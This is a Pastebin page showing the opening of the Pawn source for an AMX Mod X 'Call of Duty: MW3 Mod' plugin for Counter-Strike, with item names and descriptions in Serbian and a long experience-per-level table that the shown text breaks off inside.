Advertisement
RuleBreaker

Untitled

Feb 2nd, 2012
4,808
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 116.32 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <fun>
  4. #include <cstrike>
  5. #include <fakemeta>
  6. #include <engine>
  7. #include <hamsandwich>
  8. #include <nvault>
  9. #include <colorchat>
  10.  
  11. #define PLUGIN "Call of Duty: MW3 Mod"
  12. #define VERSION "1.0"
  13. #define AUTHOR "QTM_Peyote"
  14.  
  15. #define STANDARDNA_brzina 250.0
  16.  
  17. #define ZADATAK_POKAZI_INFORMACIJE 672
  18. #define ZADATAK_PROVERA 704
  19. #define ZADATAK_WYSZKOLENIE_SANITARNE 736
  20. #define ZADATAK_POKAZI_REKLAME 768
  21. #define ZADATAK_POSTAVI_brzinu 832
  22.  
  23. //#define BOTY 1
  24.  
  25. new SyncHudObj;
  26. new SyncHudObj2;
  27. new SyncHudObj3;
  28. new g_msg_screenfade;
  29.  
  30. new sprite_white;
  31. new sprite_blast;
  32.  
  33. new g_vault;
  34.  
  35. new postavljena;
  36. new deaktivirana;
  37.  
  38. new iskustvo_za_ubistvo;
  39. new iskustvo_za_c4;
  40. new iskustvo_za_pare;
  41. new iskustvo_za_mnogopara;
  42. new iskustvo_za_tiket;
  43. new iskustvo_za_budale;
  44. new extra_iskustvo;
  45.  
  46. new Ubrania_CT[4][]={"sas","gsg9","urban","gign"};
  47. new Ubrania_Terro[4][]={"arctic","leet","guerilla","terror"};
  48.  
  49. new const maxAmmo[31]={0,52,0,90,1,32,1,100,90,1,120,100,100,90,90,90,100,120,30,120,200,32,90,120,90,2,35,90,90,0,100};
  50. new const maxClip[31] = { -1, 13, -1, 10, 1, 7, 1, 30, 30, 1, 30, 20, 25, 30, 35, 25, 12, 20,
  51. 10, 30, 100, 8, 30, 30, 20, 2, 7, 30, 30, -1, 50 };
  52.  
  53. new informacije_predmet_igraca[33][2];
  54. new const naziv_predmeta[][] = {"Nema",
  55. "Necujne Cizme", //1
  56. "Dupli Pancir", //2
  57. "Ojacani Pancir", //3
  58. "Veteran sa nozem", //4
  59. "Iznenadi neprijatelje", //5
  60. "Nevidljivost", //6
  61. "Respawn", //7
  62. "Noz Marinca", //8
  63. "Kamuflaza", //9
  64. "HE Expert", //10
  65. "Dupli Skok", //11
  66. "Vojna tajna", //12
  67. "AWP Master",//13
  68. "Adrenalin",//14
  69. "Rambova tajna",//15
  70. "Auto-Healer",//16
  71. "Super Pancir",//17
  72. "Extra HP++",//18
  73. "Komplet za prvu pomoc",//19
  74. "No Recoil",//20
  75. "Titanijumski metci",//21
  76. "Pukovnikovi metci",//22
  77. "Ogranicen no-recoil",//23
  78. "Stit specijalaca",//24
  79. "50 HP++",//25
  80. "Nano Oklop",//26
  81. "BulletProof",//27
  82. "Jetpack",//28
  83. "Deagle Master",//29
  84. "M249+no-recoil",//30
  85. "Precizna granata"
  86.  
  87. };
  88.  
  89. new const opis_predmet[][] = {"Ubi nekog i dobices predmet",
  90. "Ne cujno trcanje",
  91. "Smanjuje stetu za LW %",
  92. "Smanjuje stetu za LW %",
  93. "Brze ubijas nozem",
  94. "Kada pogodite nekog od pozadi, povrede su dva puta vece",
  95. "Imate LW % nevidljivosti",
  96. "1/LW sanse da se respawn posle smrti",
  97. "Brzo ubijanje nozem",
  98. "Imate 1/LW sanse da odmah ubijete sa HE. Takodje izgledate kao neprijatelj",
  99. "Instant kill sa granatom (HE). Zadajes LW % dodatne stete",
  100. "Dupli skok",
  101. "Vase povrede su smanjene za 5. Imate 1/LW sanse da oslepite neprijatelja",
  102. "Instant kill sa AWP",
  103. "Za svaki kill dobijate 50hp",
  104. "Za svaki kill dobijate pun sarzer i 20hp",
  105. "Dobijate 10hp svakih 5 sec",
  106. "Imate 500 stita",
  107. "Dobijate +100hp svake runde, ali zato ste sporiji",
  108. "Koristite da regeneriste maximalni HP",
  109. "Nema trzanja puske kad pucate",
  110. "Zadajete protivnicima +10 vise stete",
  111. "Zadajete protivnicima +20 vise stete",
  112. "Smanjeno trazanje puske",
  113. "Ni jedan predmet nece uticati na vas",
  114. "Dobijate +50hp svake runde, ali zato ste sporiji",
  115. "Imate 1/LW sanse da izbegnete stetu",
  116. "Otporni ste na 3 metka u svakom krugu",
  117. "Pritisnite CRTL i SPACE da koristite jetpack, jetpack se obnavlja svake 4 sec",
  118. "Instant kill Deagle-om",
  119. "Dobija se M249 sa no recoil-om",
  120. "Dobija se HE bomba koja pravi 100 stetu"
  121. };
  122.  
  123. new ID_igraca[33][35];
  124. new klasa_igraca[33];
  125. new level_igraca[33] = 1;
  126. new iskustvo_igraca[33];
  127.  
  128. new nova_klasa_igraca[33];
  129.  
  130. new const iskustvo_levelu[] = {0,7,28,63,112,175,252,343,448,567,700,847,1008,1183,1372,1575,1792,2023,2268,2527,
  131. 2800,3087,3388,3703,4032,4375,4732,5103,5488,5887,6300,6727,7168,7623,8092,8575,9072,9583,10108,10647,
  132. 11200,11767,12348,12943,13552,14175,14812,15463,16128,16807,17500,18207,18928,19663,20412,21175,21952,22743,23548,24367,
  133. 25200,26047,26908,27783,28672,29575,30492,31423,32368,33327,34300,35287,36288,37303,38332,39375,40432,41503,42588,43687,
  134. 44800,45927,47068,48223,49392,50575,51772,52983,54208,55447,56700,57967,59248,60543,61852,63175,64512,65863,67228,68607,
  135. 70000,71407,72828,74263,75712,77175,78652,80143,81648,83167,84700,86247,87808,89383,90972,92575,94192,95823,97468,99127,
  136. 100800,102487,104188,105903,107632,109375,111132,112903,114688,116487,118300,120127,121968,123823,125692,127575,129472,131383,133308,135247,
  137. 137200,139167,141148,143143,145152,147175,149212,151263,153328,155407,157500,159607,161728,163863,166012,168175,170352,172543,174748,176967,
  138. 179200,181447,183708,185983,188272,190575,192892,195223,197568,199927,202300,204687,207088,209503,211932,214375,216832,219303,221788,224287,
  139. 226800,229327,231868,234423,236992,239575,242172,244783,247408,250047,252700,255367,258048,260743,263452,266175,268912,271663,274428,277207,
  140. 280000,282807,285628,288463,291312,294175,297052,299943,302848,305767,308700,311647,314608,317583,320572,323575,326592,329623,332668,335727,
  141. 338800,341887,344988,348103,351232,354375,357532,360703,363888,367087,370300,373527,376768,380023,383292,386575,389872,393183,396508,399847,
  142. 403200,406567,409948,413343,416752,420175,423612,427063,430528,434007,437500,441007,444528,448063,451612,455175,458752,462343,465948,469567,
  143. 473200,476847,480508,484183,487872,491575,495292,499023,502768,506527,510300,514087,517888,521703,525532,529375,533232,537103,540988,544887,
  144. 548800,552727,556668,560623,564592,568575,572572,576583,580608,584647,588700,592767,596848,600943,605052,609175,613312,617463,621628,625807,
  145. 630000,634207,638428,642663,646912,651175,655452,659743,664048,668367,672700,677047,681408,685783,690172,694575,698992,703423,707868,712327,
  146. 716800,721287,725788,730303,734832,739375,743932,748503,753088,757687,762300,766927,771568,776223,780892,785575,790272,794983,799708,804447,
  147. 809200,813967,818748,823543,828352,833175,838012,842863,847728,852607,857500,862407,867328,872263,877212,882175,887152,892143,897148,902167,
  148. 907200,912247,917308,922383,927472,932575,937692,942823,947968,953127,958300,963487,968688,973903,979132,984375,989632,994903,1000188,1005487,
  149. 1010800,1016127,1021468,1026823,1032192,1037575,1042972,1048383,1053808,1059247,1064700,1070167,1075648,1081143,1086652,1092175,1097712,1103263,1108828,1114407,
  150. 1120000,1125607,1131228,1136863,1142512,1148175,1153852,1159543,1165248,1170967,1176700,1182447,1188208,1193983,1199772,1205575,1211392,1217223,1223068,1228927,
  151. 1234800,1240687,1246588,1252503,1258432,1264375,1270332,1276303,1282288,1288287,1294300,1300327,1306368,1312423,1318492,1324575,1330672,1336783,1342908,1349047,
  152. 1355200,1361367,1367548,1373743,1379952,1386175,1392412,1398663,1404928,1411207,1417500,1423807,1430128,1436463,1442812,1449175,1455552,1461943,1468348,1474767,
  153. 1481200,1487647,1494108,1500583,1507072,1513575,1520092,1526623,1533168,1539727,1546300,1552887,1559488,1566103,1572732,1579375,1586032,1592703,1599388,1606087,
  154. 1612800,1619527,1626268,1633023,1639792,1646575,1653372,1660183,1667008,1673847,1680700,1687567,1694448,1701343,1708252,1715175,1722112,1729063,1736028,1743007,
  155. 1750000,1757007,1764028,1771063,1778112,1785175,1792252,1799343,1806448,1813567,1820700,1827847,1835008,1842183,1849372,1856575,1863792,1871023,1878268,1885527,
  156. 1892800,1900087,1907388,1914703,1922032,1929375,1936732,1944103,1951488,1958887,1966300,1973727,1981168,1988623,1996092,2003575,2011072,2018583,2026108,2033647,
  157. 2041200,2048767,2056348,2063943,2071552,2079175,2086812,2094463,2102128,2109807,2117500,2125207,2132928,2140663,2148412,2156175,2163952,2171743,2179548,2187367,
  158. 2195200,2203047,2210908,2218783,2226672,2234575,2242492,2250423,2258368,2266327,2274300,2282287,2290288,2298303,2306332,2314375,2322432,2330503,2338588,2346687,
  159. 2354800,2362927,2371068,2379223,2387392,2395575,2403772,2411983,2420208,2428447,2436700,2444967,2453248,2461543,2469852,2478175,2486512,2494863,2503228,2511607,
  160. 2520000,2528407,2536828,2545263,2553712,2562175,2570652,2579143,2587648,2596167,2604700,2613247,2621808,2630383,2638972,2647575,2656192,2664823,2673468,2682127,
  161. 2690800,2699487,2708188,2716903,2725632,2734375,2743132,2751903,2760688,2769487,2778300,2787127,2795968,2804823,2813692,2822575,2831472,2840383,2849308,2858247,
  162. 2867200,2876167,2885148,2894143,2903152,2912175,2921212,2930263,2939328,2948407,2957500,2966607,2975728,2984863,2994012,3003175,3012352,3021543,3030748,3039967,
  163. 3049200,3058447,3067708,3076983,3086272,3095575,3104892,3114223,3123568,3132927,3142300,3151687,3161088,3170503,3179932,3189375,3198832,3208303,3217788,3227287,
  164. 3236800,3246327,3255868,3265423,3274992,3284575,3294172,3303783,3313408,3323047,3332700,3342367,3352048,3361743,3371452,3381175,3390912,3400663,3410428,3420207,
  165. 3430000,3439807,3449628,3459463,3469312,3479175,3489052,3498943,3508848,3518767,3528700,3538647,3548608,3558583,3568572,3578575,3588592,3598623,3608668,3618727,
  166. 3628800,3638887,3648988,3659103,3669232,3679375,3689532,3699703,3709888,3720087,3730300,3740527,3750768,3761023,3771292,3781575,3791872,3802183,3812508,3822847,
  167. 3833200,3843567,3853948,3864343,3874752,3885175,3895612,3906063,3916528,3927007,3937500,3948007,3958528,3969063,3979612,3990175,4000752,4011343,4021948,4032567,
  168. 4043200,4053847,4064508,4075183,4085872,4096575,4107292,4118023,4128768,4139527,4150300,4161087,4171888,4182703,4193532,4204375,4215232,4226103,4236988,4247887,
  169. 4258800,4269727,4280668,4291623,4302592,4313575,4324572,4335583,4346608,4357647,4368700,4379767,4390848,4401943,4413052,4424175,4435312,4446463,4457628,4468807,
  170. 4480000,4491207,4502428,4513663,4524912,4536175,4547452,4558743,4570048,4581367,4592700,4604047,4615408,4626783,4638172,4649575,4660992,4672423,4683868,4695327,
  171. 4706800,4718287,4729788,4741303,4752832,4764375,4775932,4787503,4799088,4810687,4822300,4833927,4845568,4857223,4868892,4880575,4892272,4903983,4915708,4927447,
  172. 4939200,4950967,4962748,4974543,4986352,4998175,5010012,5021863,5033728,5045607,5057500,5069407,5081328,5093263,5105212,5117175,5129152,5141143,5153148,5165167,
  173. 5177200,5189247,5201308,5213383,5225472,5237575,5249692,5261823,5273968,5286127,5298300,5310487,5322688,5334903,5347132,5359375,5371632,5383903,5396188,5408487,
  174. 5420800,5433127,5445468,5457823,5470192,5482575,5494972,5507383,5519808,5532247,5544700,5557167,5569648,5582143,5594652,5607175,5619712,5632263,5644828,5657407,
  175. 5670000,5682607,5695228,5707863,5720512,5733175,5745852,5758543,5771248,5783967,5796700,5809447,5822208,5834983,5847772,5860575,5873392,5886223,5899068,5911927,
  176. 5924800,5937687,5950588,5963503,5976432,5989375,6002332,6015303,6028288,6041287,6054300,6067327,6080368,6093423,6106492,6119575,6132672,6145783,6158908,6172047,
  177. 6185200,6198367,6211548,6224743,6237952,6251175,6264412,6277663,6290928,6304207,6317500,6330807,6344128,6357463,6370812,6384175,6397552,6410943,6424348,6437767,
  178. 6451200,6464647,6478108,6491583,6505072,6518575,6532092,6545623,6559168,6572727,6586300,6599887,6613488,6627103,6640732,6654375,6668032,6681703,6695388,6709087,
  179. 6722800,6736527,6750268,6764023,6777792,6791575,6805372,6819183,6833008,6846847,6860700,6874567,6888448,6902343,6916252,6930175,6944112,6958063,6972028,6986007,
  180. 7000000,7014007,7028028,7042063,7056112,7070175,7084252,7098343,7112448,7126567,7140700,7154847,7169008,7183183,7197372,7211575,7225792,7240023,7254268,7268527,
  181. 7282800,7297087,7311388,7325703,7340032,7354375,7368732,7383103,7397488,7411887,7426300,7440727,7455168,7469623,7484092,7498575,7513072,7527583,7542108,7556647,
  182. 7571200,7585767,7600348,7614943,7629552,7644175,7658812,7673463,7688128,7702807,7717500,7732207,7746928,7761663,7776412,7791175,7805952,7820743,7835548,7850367,
  183. 7865200,7880047,7894908,7909783,7924672,7939575,7954492,7969423,7984368,7999327,8014300,8029287,8044288,8059303,8074332,8089375,8104432,8119503,8134588,8149687,
  184. 8164800,8179927,8195068,8210223,8225392,8240575,8255772,8270983,8286208,8301447,8316700,8331967,8347248,8362543,8377852,8393175,8408512,8423863,8439228,8454607,
  185. 8470000,8485407,8500828,8516263,8531712,8547175,8562652,8578143,8593648,8609167,8624700,8640247,8655808,8671383,8686972,8702575,8718192,8733823,8749468,8765127,
  186. 8780800,8796487,8812188,8827903,8843632,8859375,8875132,8890903,8906688,8922487,8938300,8954127,8969968,8985823,9001692,9017575,9033472,9049383,9065308,9081247,
  187. 9097200,9113167,9129148,9145143,9161152,9177175,9193212,9209263,9225328,9241407,9257500,9273607,9289728,9305863,9322012,9338175,9354352,9370543,9386748,9402967,
  188. 9419200,9435447,9451708,9467983,9484272,9500575,9516892,9533223,9549568,9565927,9582300,9598687,9615088,9631503,9647932,9664375,9680832,9697303,9713788,9730287,
  189. 9746800,9763327,9779868,9796423,9812992,9829575,9846172,9862783,9879408,9896047,9912700,9929367,9946048,9962743,9979452,9996175,10012912,10029663,10046428,10063207,
  190. 10080000,10096807,10113628,10130463,10147312,10164175,10181052,10197943,10214848,10231767,10248700,10265647,10282608,10299583,10316572,10333575,10350592,10367623,10384668,10401727,
  191. 10418800,10435887,10452988,10470103,10487232,10504375,10521532,10538703,10555888,10573087,10590300,10607527,10624768,10642023,10659292,10676575,10693872,10711183,10728508,10745847,
  192. 10763200,10780567,10797948,10815343,10832752,10850175,10867612,10885063,10902528,10920007,10937500,10955007,10972528,10990063,11007612,11025175,11042752,11060343,11077948,11095567,
  193. 11113200,11130847,11148508,11166183,11183872,11201575,11219292,11237023,11254768,11272527,11290300,11308087,11325888,11343703,11361532,11379375,11397232,11415103,11432988,11450887,
  194. 11468800,11486727,11504668,11522623,11540592,11558575,11576572,11594583,11612608,11630647,11648700,11666767,11684848,11702943,11721052,11739175,11757312,11775463,11793628,11811807,
  195. 11830000,11848207,11866428,11884663,11902912,11921175,11939452,11957743,11976048,11994367,12012700,12031047,12049408,12067783,12086172,12104575,12122992,12141423,12159868,12178327,
  196. 12196800,12215287,12233788,12252303,12270832,12289375,12307932,12326503,12345088,12363687,12382300,12400927,12419568,12438223,12456892,12475575,12494272,12512983,12531708,12550447,
  197. 12569200,12587967,12606748,12625543,12644352,12663175,12682012,12700863,12719728,12738607,12757500,12776407,12795328,12814263,12833212,12852175,12871152,12890143,12909148,12928167,
  198. 12947200,12966247,12985308,13004383,13023472,13042575,13061692,13080823,13099968,13119127,13138300,13157487,13176688,13195903,13215132,13234375,13253632,13272903,13292188,13311487,
  199. 13330800,13350127,13369468,13388823,13408192,13427575,13446972,13466383,13485808,13505247,13524700,13544167,13563648,13583143,13602652,13622175,13641712,13661263,13680828,13700407,
  200. 13720000,13739607,13759228,13778863,13798512,13818175,13837852,13857543,13877248,13896967,13916700,13936447,13956208,13975983,13995772,14015575,14035392,14055223,14075068,14094927,
  201. 14114800,14134687,14154588,14174503,14194432,14214375,14234332,14254303,14274288,14294287,14314300,14334327,14354368,14374423,14394492,14414575,14434672,14454783,14474908,14495047,
  202. 14515200,14535367,14555548,14575743,14595952,14616175,14636412,14656663,14676928,14697207,14717500,14737807,14758128,14778463,14798812,14819175,14839552,14859943,14880348,14900767,
  203. 14921200,14941647,14962108,14982583,15003072,15023575,15044092,15064623,15085168,15105727,15126300,15146887,15167488,15188103,15208732,15229375,15250032,15270703,15291388,15312087,
  204. 15332800,15353527,15374268,15395023,15415792,15436575,15457372,15478183,15499008,15519847,15540700,15561567,15582448,15603343,15624252,15645175,15666112,15687063,15708028,15729007,
  205. 15750000,15771007,15792028,15813063,15834112,15855175,15876252,15897343,15918448,15939567,15960700,15981847,16003008,16024183,16045372,16066575,16087792,16109023,16130268,16151527,
  206. 16172800,16194087,16215388,16236703,16258032,16279375,16300732,16322103,16343488,16364887,16386300,16407727,16429168,16450623,16472092,16493575,16515072,16536583,16558108,16579647,
  207. 16601200,16622767,16644348,16665943,16687552,16709175,16730812,16752463,16774128,16795807,16817500,16839207,16860928,16882663,16904412,16926175,16947952,16969743,16991548,17013367,
  208. 17035200,17057047,17078908,17100783,17122672,17144575,17166492,17188423,17210368,17232327,17254300,17276287,17298288,17320303,17342332,17364375,17386432,17408503,17430588,17452687,
  209. 17474800,17496927,17519068,17541223,17563392,17585575,17607772,17629983,17652208,17674447,17696700,17718967,17741248,17763543,17785852,17808175,17830512,17852863,17875228,17897607,
  210. 17920000,17942407,17964828,17987263,18009712,18032175,18054652,18077143,18099648,18122167,18144700,18167247,18189808,18212383,18234972,18257575,18280192,18302823,18325468,18348127,
  211. 18370800,18393487,18416188,18438903,18461632,18484375,18507132,18529903,18552688,18575487,18598300,18621127,18643968,18666823,18689692,18712575,18735472,18758383,18781308,18804247,
  212. 18827200,18850167,18873148,18896143,18919152,18942175,18965212,18988263,19011328,19034407,19057500,19080607,19103728,19126863,19150012,19173175,19196352,19219543,19242748,19265967,
  213. 19289200,19312447,19335708,19358983,19382272,19405575,19428892,19452223,19475568,19498927,19522300,19545687,19569088,19592503,19615932,19639375,19662832,19686303,19709788,19733287,
  214. 19756800,19780327,19803868,19827423,19850992,19874575,19898172,19921783,19945408,19969047,19992700,20016367,20040048,20063743,20087452,20111175,20134912,20158663,20182428,20206207,
  215. 20230000,20253807,20277628,20301463,20325312,20349175,20373052,20396943,20420848,20444767,20468700,20492647,20516608,20540583,20564572,20588575,20612592,20636623,20660668,20684727,
  216. 20708800,20732887,20756988,20781103,20805232,20829375,20853532,20877703,20901888,20926087,20950300,20974527,20998768,21023023,21047292,21071575,21095872,21120183,21144508,21168847,
  217. 21193200,21217567,21241948,21266343,21290752,21315175,21339612,21364063,21388528,21413007,21437500,21462007,21486528,21511063,21535612,21560175,21584752,21609343,21633948,21658567,
  218. 21683200,21707847,21732508,21757183,21781872,21806575,21831292,21856023,21880768,21905527,21930300,21955087,21979888,22004703,22029532,22054375,22079232,22104103,22128988,22153887,
  219. 22178800,22203727,22228668,22253623,22278592,22303575,22328572,22353583,22378608,22403647,22428700,22453767,22478848,22503943,22529052,22554175,22579312,22604463,22629628,22654807,
  220. 22680000,22705207,22730428,22755663,22780912,22806175,22831452,22856743,22882048,22907367,22932700,22958047,22983408,23008783,23034172,23059575,23084992,23110423,23135868,23161327,
  221. 23186800,23212287,23237788,23263303,23288832,23314375,23339932,23365503,23391088,23416687,23442300,23467927,23493568,23519223,23544892,23570575,23596272,23621983,23647708,23673447,
  222. 23699200,23724967,23750748,23776543,23802352,23828175,23854012,23879863,23905728,23931607,23957500,23983407,24009328,24035263,24061212,24087175,24113152,24139143,24165148,24191167,
  223. 24217200,24243247,24269308,24295383,24321472,24347575,24373692,24399823,24425968,24452127,24478300,24504487,24530688,24556903,24583132,24609375,24635632,24661903,24688188,24714487,
  224. 24740800,24767127,24793468,24819823,24846192,24872575,24898972,24925383,24951808,24978247,25004700,25031167,25057648,25084143,25110652,25137175,25163712,25190263,25216828,25243407,
  225. 25270000,25296607,25323228,25349863,25376512,25403175,25429852,25456543,25483248,25509967,25536700,25563447,25590208,25616983,25643772,25670575,25697392,25724223,25751068,25777927,
  226. 25804800,25831687,25858588,25885503,25912432,25939375,25966332,25993303,26020288,26047287,26074300,26101327,26128368,26155423,26182492,26209575,26236672,26263783,26290908,26318047,
  227. 26345200,26372367,26399548,26426743,26453952,26481175,26508412,26535663,26562928,26590207,26617500,26644807,26672128,26699463,26726812,26754175,26781552,26808943,26836348,26863767,
  228. 26891200,26918647,26946108,26973583,27001072,27028575,27056092,27083623,27111168,27138727,27166300,27193887,27221488,27249103,27276732,27304375,27332032,27359703,27387388,27415087,
  229. 27442800,27470527,27498268,27526023,27553792,27581575,27609372,27637183,27665008,27692847,27720700,27748567,27776448,27804343,27832252,27860175,27888112,27916063,27944028,27972007,
  230. 28000000,28028007,28056028,28084063,28112112,28140175,28168252,28196343,28224448,28252567,28280700,28308847,28337008,28365183,28393372,28421575,28449792,28478023,28506268,28534527,
  231. 28562800,28591087,28619388,28647703,28676032,28704375,28732732,28761103,28789488,28817887,28846300,28874727,28903168,28931623,28960092,28988575,29017072,29045583,29074108,29102647,
  232. 29131200,29159767,29188348,29216943,29245552,29274175,29302812,29331463,29360128,29388807,29417500,29446207,29474928,29503663,29532412,29561175,29589952,29618743,29647548,29676367,
  233. 29705200,29734047,29762908,29791783,29820672,29849575,29878492,29907423,29936368,29965327,29994300,30023287,30052288,30081303,30110332,30139375,30168432,30197503,30226588,30255687,
  234. 30284800,30313927,30343068,30372223,30401392,30430575,30459772,30488983,30518208,30547447,30576700,30605967,30635248,30664543,30693852,30723175,30752512,30781863,30811228,30840607,
  235. 30870000,30899407,30928828,30958263,30987712,31017175,31046652,31076143,31105648,31135167,31164700,31194247,31223808,31253383,31282972,31312575,31342192,31371823,31401468,31431127,
  236. 31460800,31490487,31520188,31549903,31579632,31609375,31639132,31668903,31698688,31728487,31758300,31788127,31817968,31847823,31877692,31907575,31937472,31967383,31997308,32027247,
  237. 32057200,32087167,32117148,32147143,32177152,32207175,32237212,32267263,32297328,32327407,32357500,32387607,32417728,32447863,32478012,32508175,32538352,32568543,32598748,32628967,
  238. 32659200,32689447,32719708,32749983,32780272,32810575,32840892,32871223,32901568,32931927,32962300,32992687,33023088,33053503,33083932,33114375,33144832,33175303,33205788,33236287,
  239. 33266800,33297327,33327868,33358423,33388992,33419575,33450172,33480783,33511408,33542047,33572700,33603367,33634048,33664743,33695452,33726175,33756912,33787663,33818428,33849207,
  240. 33880000,33910807,33941628,33972463,34003312,34034175,34065052,34095943,34126848,34157767,34188700,34219647,34250608,34281583,34312572,34343575,34374592,34405623,34436668,34467727,
  241. 34498800,34529887,34560988,34592103,34623232,34654375,34685532,34716703,34747888,34779087,34810300,34841527,34872768,34904023,34935292,34966575,34997872,35029183,35060508,35091847,
  242. 35123200,35154567,35185948,35217343,35248752,35280175,35311612,35343063,35374528,35406007,35437500,35469007,35500528,35532063,35563612,35595175,35626752,35658343,35689948,35721567,
  243. 35753200,35784847,35816508,35848183,35879872,35911575,35943292,35975023,36006768,36038527,36070300,36102087,36133888,36165703,36197532,36229375,36261232,36293103,36324988,36356887,
  244. 36388800,36420727,36452668,36484623,36516592,36548575,36580572,36612583,36644608,36676647,36708700,36740767,36772848,36804943,36837052,36869175,36901312,36933463,36965628,36997807,
  245. 37030000,37062207,37094428,37126663,37158912,37191175,37223452,37255743,37288048,37320367,37352700,37385047,37417408,37449783,37482172,37514575,37546992,37579423,37611868,37644327,
  246. 37676800,37709287,37741788,37774303,37806832,37839375,37871932,37904503,37937088,37969687,38002300,38034927,38067568,38100223,38132892,38165575,38198272,38230983,38263708,38296447,
  247. 38329200,38361967,38394748,38427543,38460352,38493175,38526012,38558863,38591728,38624607,38657500,38690407,38723328,38756263,38789212,38822175,38855152,38888143,38921148,38954167,
  248. 38987200,39020247,39053308,39086383,39119472,39152575,39185692,39218823,39251968,39285127,39318300,39351487,39384688,39417903,39451132,39484375,39517632,39550903,39584188,39617487,
  249. 39650800,39684127,39717468,39750823,39784192,39817575,39850972,39884383,39917808,39951247,39984700,40018167,40051648,40085143,40118652,40152175,40185712,40219263,40252828,40286407,
  250. 40320000,40353607,40387228,40420863,40454512,40488175,40521852,40555543,40589248,40622967,40656700,40690447,40724208,40757983,40791772,40825575,40859392,40893223,40927068,40960927,
  251. 40994800,41028687,41062588,41096503,41130432,41164375,41198332,41232303,41266288,41300287,41334300,41368327,41402368,41436423,41470492,41504575,41538672,41572783,41606908,41641047,
  252. 41675200,41709367,41743548,41777743,41811952,41846175,41880412,41914663,41948928,41983207,42017500,42051807,42086128,42120463,42154812,42189175,42223552,42257943,42292348,42326767,
  253. 42361200,42395647,42430108,42464583,42499072,42533575,42568092,42602623,42637168,42671727,42706300,42740887,42775488,42810103,42844732,42879375,42914032,42948703,42983388,43018087,
  254. 43052800,43087527,43122268,43157023,43191792,43226575,43261372,43296183,43331008,43365847,43400700,43435567,43470448,43505343,43540252,43575175,43610112,43645063,43680028,43715007,
  255. 43750000,43785007,43820028,43855063,43890112,43925175,43960252,43995343,44030448,44065567,44100700,44135847,44171008,44206183,44241372,44276575,44311792,44347023,44382268,44417527,
  256. 44452800,44488087,44523388,44558703,44594032,44629375,44664732,44700103,44735488,44770887,44806300,44841727,44877168,44912623,44948092,44983575,45019072,45054583,45090108,45125647,
  257. 45161200,45196767,45232348,45267943,45303552,45339175,45374812,45410463,45446128,45481807,45517500,45553207,45588928,45624663,45660412,45696175,45731952,45767743,45803548,45839367,
  258. 45875200,45911047,45946908,45982783,46018672,46054575,46090492,46126423,46162368,46198327,46234300,46270287,46306288,46342303,46378332,46414375,46450432,46486503,46522588,46558687,
  259. 46594800,46630927,46667068,46703223,46739392,46775575,46811772,46847983,46884208,46920447,46956700,46992967,47029248,47065543,47101852,47138175,47174512,47210863,47247228,47283607,
  260. 47320000,47356407,47392828,47429263,47465712,47502175,47538652,47575143,47611648,47648167,47684700,47721247,47757808,47794383,47830972,47867575,47904192,47940823,47977468,48014127,
  261. 48050800,48087487,48124188,48160903,48197632,48234375,48271132,48307903,48344688,48381487,48418300,48455127,48491968,48528823,48565692,48602575,48639472,48676383,48713308,48750247,
  262. 48787200,48824167,48861148,48898143,48935152,48972175,49009212,49046263,49083328,49120407,49157500,49194607,49231728,49268863,49306012,49343175,49380352,49417543,49454748,49491967,
  263. 49529200,49566447,49603708,49640983,49678272,49715575,49752892,49790223,49827568,49864927,49902300,49939687,49977088,50014503,50051932,50089375,50126832,50164303,50201788,50239287,
  264. 50276800,50314327,50351868,50389423,50426992,50464575,50502172,50539783,50577408,50615047,50652700,50690367,50728048,50765743,50803452,50841175,50878912,50916663,50954428,50992207,
  265. 51030000,51067807,51105628,51143463,51181312,51219175,51257052,51294943,51332848,51370767,51408700,51446647,51484608,51522583,51560572,51598575,51636592,51674623,51712668,51750727,
  266. 51788800,51826887,51864988,51903103,51941232,51979375,52017532,52055703,52093888,52132087,52170300,52208527,52246768,52285023,52323292,52361575,52399872,52438183,52476508,52514847,
  267. 52553200,52591567,52629948,52668343,52706752,52745175,52783612,52822063,52860528,52899007,52937500,52976007,53014528,53053063,53091612,53130175,53168752,53207343,53245948,53284567,
  268. 53323200,53361847,53400508,53439183,53477872,53516575,53555292,53594023,53632768,53671527,53710300,53749087,53787888,53826703,53865532,53904375,53943232,53982103,54020988,54059887,
  269. 54098800,54137727,54176668,54215623,54254592,54293575,54332572,54371583,54410608,54449647,54488700,54527767,54566848,54605943,54645052,54684175,54723312,54762463,54801628,54840807,
  270. 54880000,54919207,54958428,54997663,55036912,55076175,55115452,55154743,55194048,55233367,55272700,55312047,55351408,55390783,55430172,55469575,55508992,55548423,55587868,55627327,
  271. 55666800,55706287,55745788,55785303,55824832,55864375,55903932,55943503,55983088,56022687,56062300,56101927,56141568,56181223,56220892,56260575,56300272,56339983,56379708,56419447,
  272. 56459200,56498967,56538748,56578543,56618352,56658175,56698012,56737863,56777728,56817607,56857500,56897407,56937328,56977263,57017212,57057175,57097152,57137143,57177148,57217167,
  273. 57257200,57297247,57337308,57377383,57417472,57457575,57497692,57537823,57577968,57618127,57658300,57698487,57738688,57778903,57819132,57859375,57899632,57939903,57980188,58020487,
  274. 58060800,58101127,58141468,58181823,58222192,58262575,58302972,58343383,58383808,58424247,58464700,58505167,58545648,58586143,58626652,58667175,58707712,58748263,58788828,58829407,
  275. 58870000,58910607,58951228,58991863,59032512,59073175,59113852,59154543,59195248,59235967,59276700,59317447,59358208,59398983,59439772,59480575,59521392,59562223,59603068,59643927,
  276. 59684800,59725687,59766588,59807503,59848432,59889375,59930332,59971303,60012288,60053287,60094300,60135327,60176368,60217423,60258492,60299575,60340672,60381783,60422908,60464047,
  277. 60505200,60546367,60587548,60628743,60669952,60711175,60752412,60793663,60834928,60876207,60917500,60958807,61000128,61041463,61082812,61124175,61165552,61206943,61248348,61289767,
  278. 61331200,61372647,61414108,61455583,61497072,61538575,61580092,61621623,61663168,61704727,61746300,61787887,61829488,61871103,61912732,61954375,61996032,62037703,62079388,62121087,
  279. 62162800,62204527,62246268,62288023,62329792,62371575,62413372,62455183,62497008,62538847,62580700,62622567,62664448,62706343,62748252,62790175,62832112,62874063,62916028,62958007,
  280. 63000000,63042007,63084028,63126063,63168112,63210175,63252252,63294343,63336448,63378567,63420700,63462847,63505008,63547183,63589372,63631575,63673792,63716023,63758268,63800527,
  281. 63842800,63885087,63927388,63969703,64012032,64054375,64096732,64139103,64181488,64223887,64266300,64308727,64351168,64393623,64436092,64478575,64521072,64563583,64606108,64648647,
